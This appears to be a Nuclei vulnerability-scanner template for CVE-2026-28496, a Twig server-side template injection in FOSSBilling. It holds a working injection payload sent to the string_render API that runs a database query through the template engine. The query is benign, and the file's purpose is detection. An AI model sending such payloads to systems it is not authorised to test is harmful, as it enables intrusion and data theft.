FOSSBilling - Server-Side Template Injection

id: CVE-2026-28496

info:
  name: FOSSBilling - Server-Side Template Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.
  impact: |
    Administrators can execute arbitrary code and disclose sensitive information, potentially compromising the entire system.
  remediation: |
    Upgrade to version 0.8.0 or later.
  reference:
    - https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
    - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
    - https://x.com/pyn3rd/status/2069260345571696951
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"FOSSBilling"
  tags: cve,cve2026,ssti,rce,sqli,fossbilling,vkev

http:
  - raw:
      - |
        POST /api/system/system/string_render HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"_tpl":"{{ guest.getDi().db.getCell(\"SELECT @@version\") }}","_try":false}

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "[0-9]+\\.[0-9]+\\.[0-9]+"
          - '{"result":"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "[0-9]+\\.[0-9]+\\.[0-9]+[\\-a-zA-Z0-9]*"